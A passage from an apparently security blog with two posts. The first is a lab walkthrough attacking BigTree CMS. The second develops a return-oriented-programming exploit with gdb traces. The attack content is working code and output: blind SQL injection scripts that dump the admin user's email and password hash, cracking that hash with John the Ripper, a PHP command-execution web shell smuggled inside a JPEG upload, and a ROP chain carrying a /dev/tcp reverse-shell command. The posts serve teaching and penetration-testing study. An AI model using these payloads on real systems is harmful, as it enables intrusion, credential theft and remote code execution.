                     "union%20select%20null,null,case%20when%20ascii%28substr%28" \
                     "%28select%20group_concat%28table_name%20separator%20%27%20|" \
                     "%20%27%29%20from%20information_schema.tables%20where%20" \
                     "table_schema=%27bigtree%27%20and%20table_name!=" \
                     "%27bigtree_404s%27%29,{0},1%29%29=" \
                     "{1}%20then%20sleep(3)%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

This is almost the same as the last script except I'm using GROUP_CONCAT to concatenate all the records and I'm excluding the bigtree_404s table.

Running it you get:

1
2
3
4
5
6
7
8
9
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-tables.py"
bigtree_audit_trail | bigtree_callouts | bigtree_feeds | bigtree_field_types | b
igtree_locks | bigtree_messages | bigtree_module_actions | bigtree_module_forms
| bigtree_module_groups | bigtree_module_view_cache | bigtree_module_views | big
tree_modules | bigtree_page_revisions | bigtree_pages | bigtree_pending_changes
| bigtree_resource_folders | bigtree_resources | bigtree_route_history | bigtree
_settings | bigtree_tags | bigtree_tags_rel | bigtree_templates | bigtree_users
| btx_dogwood_authors | btx_dogwood_categories | btx_dogwood_post_categories | b
tx_dogwood_posts | sample_features | sample_glossary

Obviously the table of most interest to us here is bigtree_users, now we need to figure out the column names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr" \
                 "%28%28select%20group_concat%28column_name%20separator%20" \
                 "%27%20|%20%27%29%20from%20information_schema.columns%20" \
                 "where%20table_name=%27bigtree_users%27%29,{0},1%29%29=" \
                 "{1}%20then%20sleep(3)%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Again this is very similar to the last 2 script, except now we are looking at the columns table of the information_schema database.

Running this you get:

1
2
3
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-columns.py"
id | email | password | name | company | level | permissions | alerts | daily_di
gest | change_password_hash

Now we have enough information to get the account details, I've chosen a few interesting columns to print:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr" \
                 "%28%28select%20group_concat%28concat%28email,%27%20:%20" \
                 "%27,password,%27%20:%20%27,name,%27%20:%20%27,level,%27" \
                 "%20:%20%27,permissions%29%20separator%20%27%20|%20%27%29" \
                 "%20from%20bigtree.bigtree_users%29,{0},1%29" \
                 "%29={1}%20then%20sleep(3)%20else%201%20" \
                 "end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Running this we get:

1
2
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-accounts.py"
[email protected] : $P$BnOySvzal3k5W.2/zBqAQWF1.PFOZy0 : Developer : 2 :

Cracking The Hash

So we have the details for 1 user account (the admin account in this case), now we should try to crack it.

For this I'll use john the ripper.

Let's try just a normal brute force for a while and if that takes too long we'll try a dictionary attack or something:

1
2
3
4
5
6
7
root@kali:~# cat pwhash 
[email protected]:$P$BnOySvzal3k5W.2/zBqAQWF1.PFOZy0
root@kali:~# john pwhash 
Loaded 1 password hash (phpass MD5 [128/128 SSE2 intrinsics 4x4x3])
123321           ([email protected])
guesses: 1  time: 0:00:00:04 DONE (Thu Mar  5 16:28:41 2015)  c/s: 2826  trying: trident - 88888888
Use the "--show" option to display all of the cracked passwords reliably

Luckily this was a very insecure password and the hash was cracked very quickly using a brute force (this is another security issue, allowing weak passwords).

Some More Poking About

After logging in as the [email protected] user, you should see this:

Clicking around there are a number of interesting things, like a stored XSS in the footer social links, so by creating a footer link like this:

And while it doesn't run when viewed in the admin panel (bare in mind that the subtitle field is likely vulnerable too to make this less obvious):

When any normal page is visited, the attack is run:

And looking at this response in burp, we can see where our attack payload is put:

But, more interestingly, in Modules -> Features -> Add Feature I have the ability to upload pictures:

Unrestricted File Upload Vulnerability

So, first I just upload a normal image file.

For this I'm going to use this image (credits to Majonez who created it).

I just saved it with the filename one.jpg, select it in the form, put the title as one, click Save & Publish and I get this:

Its asking to crop the image, which probably means there is some sort of analysis done on the image.

Full Path Disclosure

At this point I decided to try to upload a plain PHP backdoor, so I clicked on the View Features button and was presented with this:

Obviously because I started uploading the image it created the feature but as I didn't crop it it hasn't finished creating the feature, this is a logic flaw in the application which may or may not lead to a security vulnerability.

Let's look at this feature:

So the logic flaw lead to a full path disclosure vulnerability, really the developers should have waited until all of the steps of creating the feature had completed before creating the feature, discarding any half created features after a timeout, also this error should be caught and dealt with gracefully.

Back To The File Upload

Anyway, we can continue by trying to upload the following PHP file:

1
<?php echo system($_GET['cmd']); ?>

This is just a very simple PHP backdoor which will take an input in the cmd argument of a query string of a GET request.

Trying to upload the file in the same manner as I did the image, I get:

The image size is 1 issue but it also says that it isn't an image file, this could just be a content type check or it could also check the file extension.

Hopefully we can beat both of these checks by using a real image but chaning the file extension to .php.

Firstly I will change the size to 1400x625, which is the size it wanted to crop the image to, I done this in GIMP in Image -> Scale Image...:

I saved this to two.jpg, renamed it to two.php and attempted the upload again:

So its uploaded successfully!

Right clicking on the new image and clicking Copy Image Location gives us the following url:

http://[ip]/BigTree-CMS/site/files/features/t_two.php

In that folder there is currently the following files:

Obviously, these will not work as PHP files yet because they contain no actual PHP code, we will sort that out in a minute, but we can see that both two.php and xlrg_two.php is very likely our original file, whereas t_two.php is a different version created by the application.

So I added some PHP code into the comments section of the image, using GIMP again, going to File -> Export..., putting three.jpg as the name and clicking Export:

Again, change the file extension from .jpg to .php and do the upload.

After, visit the following url to see if it has worked:

http://[ip]/BigTree-CMS/site/files/features/three.php?cmd=cat%20/etc/passwd

Obviously that didn't work :-(

After, a lot of trial and error, I decided to try search for other instances of <? (the opening of PHP code in PHP files) using the hex editor HxD:

There were 2 other instances (apart from the 1 in the commands section which contains my PHP code), here is the comment section in HxD:

I changed one of the values so that there were no other instances and tried again:

Clearly it didn't work, but at least now its not producing an error (its returning the actual content of the file instead of nothing which means those 2 extra <? where a problem).

I thought that maybe the application was stripping the comment section, so I used HxD again to insert my PHP code directly into the middle of the actual image:

Trying this file, gives us:

I now have the ability to run OS commands on the webserver.

PWNED!!! :-D

Conclusion

I think this post illustrates the different steps that might be involved in a full attack against a web application.

As you can see, there could be many vulnerabilities involved (I found at least 6 vulnerabilities in this application), each getting you closer and closer to the ultimate goal of RCE (remote code execution).

There will always be a reasonable level of trial and error when figuring out how to exploit most vulnerabilities, in all of the simplist cases, so a lot of patience is required to be successful!

Happy Hacking :-)

Further Reading

The Web Application Hackers Handbook by Dafydd Stuttard and Marcus Pinto (Here is the website that accompanies the book)

OWASP Testing Guide which can be viewed online or downloaded from here.

SQL Injection Attacks and Defense by Justin Clarke

Pentester Academy by Vivek Ramachandran has a number of relevant courses (WAP, Challenges and Python)

Improving The ROP Exploit

So after the last post I kept thinking of ways that I could improve the exploit so I decided to do it.

If you haven't already read the last post on developing a ROP exploit, you should read that before this because I will not cover anything that I covered there and it is just a continuation of that. You can read it here.

As with any exploit development the main point of interest for improvement is reducing the size of the payload so this is where I will focus.

You can think about obfuscation and such in certain exploitations but when ROP is required obfuscation isn't really an option.

Why/How ROP Works

In the last post I didn't really go into much detail about why or how ROP actually works because the post was already pretty long but I thought I'd go into it a bit here.

In my post titled Basic Binary Auditing, in the section called Stack Frames I explain how function calls and returns work.

The important part of that in terms of ROP is how the function returns. A stack-based buffer overflow exploit is initiated when the vulnerable function returns.

This is because the return address that is stored on the stack is pop'ed off of the stack into eip (the instruction pointer).

This happens because when a function is returning it has no way of knowing where in the application code to continue executing.

Because of this the address that execution should return to after the function is finished is pushed onto the stack when the function is called so that it can be retrieved when its finished.

If you find a stack-based buffer overflow and you are able to send enough data to overwrite this address you can change the flow of execution and point eip wherever you want.

With ROP, understanding this concept is paramount to success. What you are doing is creating your own stack (the same as with return to libc).

The only difference between ROP and return to libc is that instead of "calling" actual library functions you are "calling" snipets of code that resemble the end of a function (a few instructions and then a return), which are called gadgets.

By inserting a bunch of gadgets 1 after another on the stack (chaining) you are controlling the execution flow of the application and with enough gadgets you can build a suitibly large application to do whatever you want.

If you understand this it becomes obvious that esp (the stack pointer) has now become your new eip.

By changing the value of esp you can actually create a new stack elsewhere, this becomes useful for various reasons, eg. if you are constraint for space on the stack (as with in kernel mode) you can allocate space on the heap insert your stack there and change esp to point to your new stack.

I will use this method in this exploit for making ROP function calls and explain how you can use this to make ROP conditional statements.

Moving The Data Section

Back to our exploit.

If you remember we put the data section of our payload at the end but we have 532 A's that we are sending in order to overflow the buffer.

The best way to reduce the size of our exploit to to make as much use of this section at the start as possible.

So we will now move the data section to the start.

I mentioned in the last post that using ////bin/bash instead of /bin/bash wasn't technically needed and was a bit of a waste of space but as we are moving this section to the padding section, which always has to be a fixed 532 bytes, we can leave it as is for now.

If we actually use the whole 532 bytes of this section I will make some changes here to reduce its size but as it is it makes calculations slightly easier.

A ROP Function

IMO, the most exciting part of this new exploit will be the implementation of a "function call".

In the last exploit we were using the same series of gadgets throughout the exploit to calculate addresses.

In a normal application we'd use a function for this, so I thought why shouldn't we here, looking through the avaliable gadgets I created this to do our address calculations:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

Here the "return address" (the value on the stack that we need to put back into esp at the end) starts off in the eax register.

The function takes 2 "arguments", ecx, which should contain the starting address of the function, and ebx, which should contain the value 0xaaaaaaaa - [distance from the start of the function to the value we want the address of].

As the values we need to calculate are in the data section we want to stick this function below the data section (it could go before but we've have to change the last sub instruction to an add instruction).

The return value of this function is stored in edi when this function is finished.

Based on the gadgets we have avaliable there are 2 different ways, that I have found, we can set up the "call" for this function, the first is this:

1
2
3
0x0808385d : mov eax, ecx ; pop ebx ; pop ebp ; ret
[0xaaaaaaaa - distance from ecx to relevant value]
0xeeeeeeee : junk values to pop

And the second:

1
2
3
0x080a66af : xor eax, eax ; pop ebx ; ret
[0xaaaaaaaa - distance from ecx to relevant value]
0x0807629e : add eax, ecx ; ret

Both of these achieve the same outcome and certainly for our purpose there isn't any difference between the 2.

After 1 of these series of instructions we have the address of the function in eax, so we can call the function with the following gadget:

1
0x0807b086 : xchg eax, esp ; ret

This will put the return address into eax and begin execution at the start of our function.

Once our function returns the return value will be in edi, in our old exploit this value was always put into eax or edx.

We can get this value into eax using this gadget:

1
0x080a3f72 : xchg eax, edi ; ret

And if we want the return value into edx we can use this gadget:

1
0x0809cd4b : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

With this gadget we can put a value straight into ebx setting up ebx for the next function call.

All addresses will now be calculated relative to ecx which should contain the address of the start of the function, therefore this should now be the first problem we approach and the final address of ecx should be set after we've finished with the function.

Testing The Exploit

We want to try to minimize the number of junk values as much as possible too so this should be kept in mind while putting the gadgets together.

At this point you should have notes similar to the following:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
------------------------strings---------------------
0x2f2f2f2f : ////bin/bash
0x2f6e6962
0x68736162
0xffffffff
--------------------------------------------------
0x632dffff : -c
0xffffffff
--------------------------------------------------
0x6e69622f : /bin/bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
0x7361622f
0x692d2068
0x20263e20
0x7665642f
0x7063742f
0x3732312f
0x302e302e
0x382f312e
0x20303030
0x31263e30
0xffffffff
-------------------------pointers-------------------
0xbbbbbbbb : pointer to ////bin/bash
0xcccccccc : pointer to -c
0xdddddddd : pointer to args
0xffffffff

#################### Function ######################

0x080a3f72 : xchg eax, edi ; ret
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080c0f18 : xchg eax, edi ; xchg eax, esp ; ret

################### Padding A's ####################

A * (532 - len(payload))

################### Application ####################

0x0807715a : push esp ; mov eax, dword ptr [0x80ccbcc] ; pop ebp ; ret
0x080525d0 : xchg eax, ebp ; ret
0x08057b7e : pop ebx ; ret
0xaaaaa8e6 : 0xaaaaaaaa - 452 (distance to 0xffffffff value in the
       : data just before the function
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x080a8576 : pop eax ; ret
0xaaaaaaaa : value to subtract
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the distance from edx to 
---------------------------- 0xffffffff at the end of the data
0x080535be : push eax ; pop ebx ; pop esi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x0807abcc : mov eax, edx ; ret
0x080748fc : sub eax, ebx ; pop ebx ; pop ebp ; ret
0xaaaaaa96
0xeeeeeeee : junk values to pop
---------------------------- eax now contains the address of 0xffffffff
0x080a820e : mov edx, eax ; pop esi ; mov eax, edx ; pop edi ; pop ebp ; ret
0xeeeeeeee
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
0x0807abcc : mov eax, edx ; ret
---------------------------- write nulls over 0xffffffff
0x0804dca2 : mov ecx, eax ; mov eax, dword ptr [eax] ; test eax, eax ; jne 0x804dca1 ; pop ebp ; ret
0xeeeeeeee : junk value to pop
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
0x080c412b : inc ecx ; ret
---------------------------- ecx now contains the starting address
---------------------------- of the function
0x08099c0f : xor eax, eax ; ret
0x0807629e : add eax, ecx ; ret
0x0807b086 : xchg eax, esp ; ret
0x0809cd4b : mov edx, edi ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0xaaaaaa66 : 0xaaaaaaaa - distance to -c 0xffffffff (68)
0xeeeeeeee
0xeeeeeeee : junk values to pop
0x08099c0f : xor eax, eax ; ret
0x08083f21 : mov dword ptr [edx], eax ; ret
---------------------------- calculate address of long arg 0xffffffff
---------------------------- and write nulls there

Here I'm using the function to calculate the address of the first set of 0xffffffff (to terminate the long argument string) and writing nulls there.

The actual exploit is a very simple python script, as you should know from the first post, so I will only post the full script at the end when we have developed the final exploit.

You can break at the ret of the checkpass function and step through each instruction, here I will break at the function call and ensure that is working as expected:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
appuser@dev:~$ gdb -q ./app-net
Reading symbols from /home/appuser/app-net...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/10xw $esp
>x/i $eip
>end
(gdb) display/x $eax
(gdb) display/x $ebx
(gdb) display/x $ecx
(gdb) display/x $edx
(gdb) display/x $edi
(gdb) display/x $esp
(gdb) break *0x0807629e
Breakpoint 1 at 0x807629e
(gdb) run
Starting program: /home/appuser/app-net 
0xbfffe7c8: 0x0807b086  0x0809cd4b  0xaaaaaa66  0xeeeeeeee
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e
=> 0x807629e <compute_offset+46>:   add    eax,ecx

Breakpoint 1, 0x0807629e in compute_offset ()
6: /x $esp = 0xbfffe7c8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0x0
(gdb) x/10xw 0xbfffe580
0xbfffe580: 0x080a3f72  0x080a8576  0xaaaaaaaa  0x080748fc
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f
(gdb) x/xw 0xbfffe580 - 4
0xbfffe57c: 0x00000000
(gdb) x/xw 0xbfffe580 - 8
0xbfffe578: 0xdddddddd
(gdb) x/xw 0xbfffe580 - 12
0xbfffe574: 0xcccccccc
(gdb) stepi
0xbfffe7c8: 0x0807b086  0x0809cd4b  0xaaaaaa66  0xeeeeeeee
0xbfffe7d8: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x08083f21
0xbfffe7e8: 0x08099c00  0x0807629e
=> 0x80762a0 <compute_offset+48>:   ret    
0x080762a0 in compute_offset ()
6: /x $esp = 0xbfffe7c8
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xbfffe580
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe580: 0x080a3f72  0x080a8576  0xaaaaaaaa  0x080748fc
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f
=> 0x807b087 <intel_check_word+391>:    ret    
0x0807b087 in intel_check_word ()
6: /x $esp = 0xbfffe580
5: /x $edi = 0xeeeeeeee
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xbfffe7cc
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe584: 0x080a8576  0xaaaaaaaa  0x080748fc  0xeeeeeeee
0xbfffe594: 0xeeeeeeee  0x080535be  0xeeeeeeee  0xeeeeeeee
0xbfffe5a4: 0x08099c0f  0x0807629e
=> 0x80a3f73 <____strtold_l_internal+2499>: ret    
0x080a3f73 in ____strtold_l_internal ()
6: /x $esp = 0xbfffe584
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xeeeeeeee
(gdb) stepi
0xbfffe588: 0xaaaaaaaa  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe598: 0x080535be  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc
=> 0x80a8576 <_Unwind_GetDataRelBase+6>:    pop    eax
0x080a8576 in _Unwind_GetDataRelBase ()
6: /x $esp = 0xbfffe588
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xeeeeeeee
(gdb) stepi
0xbfffe58c: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080535be
0xbfffe59c: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x0807629e
0xbfffe5ac: 0x080748fc  0xeeeeeeee
=> 0x80a8577 <_Unwind_GetDataRelBase+7>:    ret    
0x080a8577 in _Unwind_GetDataRelBase ()
6: /x $esp = 0xbfffe58c
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0xaaaaaaaa
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe590: 0xeeeeeeee  0xeeeeeeee  0x080535be  0xeeeeeeee
0xbfffe5a0: 0xeeeeeeee  0x08099c0f  0x0807629e  0x080748fc
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee
=> 0x80748fe <strnlen+126>: pop    ebx
0x080748fe in strnlen ()
6: /x $esp = 0xbfffe590
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xaaaaaa96
1: /x $eax = 0x14
(gdb) stepi
0xbfffe594: 0xeeeeeeee  0x080535be  0xeeeeeeee  0xeeeeeeee
0xbfffe5a4: 0x08099c0f  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe5b4: 0xeeeeeeee  0x080c0f18
=> 0x80748ff <strnlen+127>: pop    ebp
0x080748ff in strnlen ()
6: /x $esp = 0xbfffe594
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
0xbfffe598: 0x080535be  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141
=> 0x8074900 <strnlen+128>: ret    
0x08074900 in strnlen ()
6: /x $esp = 0xbfffe598
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
Cannot access memory at address 0xeeeeeef2
(gdb) stepi
0xbfffe598: 0x00000014  0xeeeeeeee  0xeeeeeeee  0x08099c0f
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141
=> 0x80535bf <malloc_info+239>: pop    ebx
0x080535bf in malloc_info ()
6: /x $esp = 0xbfffe598
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0xeeeeeeee
1: /x $eax = 0x14
(gdb) stepi
0xbfffe59c: 0xeeeeeeee  0xeeeeeeee  0x08099c0f  0x0807629e
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141
=> 0x80535c0 <malloc_info+240>: pop    esi
0x080535c0 in malloc_info ()
6: /x $esp = 0xbfffe59c
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a0: 0xeeeeeeee  0x08099c0f  0x0807629e  0x080748fc
0xbfffe5b0: 0xeeeeeeee  0xeeeeeeee  0x080c0f18  0x41414141
0xbfffe5c0: 0x41414141  0x41414141
=> 0x80535c1 <malloc_info+241>: pop    ebp
0x080535c1 in malloc_info ()
6: /x $esp = 0xbfffe5a0
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a4: 0x08099c0f  0x0807629e  0x080748fc  0xeeeeeeee
0xbfffe5b4: 0xeeeeeeee  0x080c0f18  0x41414141  0x41414141
0xbfffe5c4: 0x41414141  0x41414141
=> 0x80535c2 <malloc_info+242>: ret    
0x080535c2 in malloc_info ()
6: /x $esp = 0xbfffe5a4
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141
=> 0x8099c0f <strpbrk+175>: xor    eax,eax
0x08099c0f in strpbrk ()
6: /x $esp = 0xbfffe5a8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x14
(gdb) stepi
0xbfffe5a8: 0x0807629e  0x080748fc  0xeeeeeeee  0xeeeeeeee
0xbfffe5b8: 0x080c0f18  0x41414141  0x41414141  0x41414141
0xbfffe5c8: 0x41414141  0x41414141
=> 0x8099c11 <strpbrk+177>: ret    
0x08099c11 in strpbrk ()
6: /x $esp = 0xbfffe5a8
5: /x $edi = 0xbfffe7cc
4: /x $edx = 0xbfffe57c
3: /x $ecx = 0xbfffe580
2: /x $ebx = 0x14
1: /x $eax = 0x0
(gdb) stepi
0xbfffe5ac: 0x080748fc  0xeeeeeeee  0xeeeeeeee  0x080c0f18
0xbfffe5bc: 0x41414141  0x41414141  0x41414141  0x41414141
0xbfffe5cc: 0x41414141  0x41414141
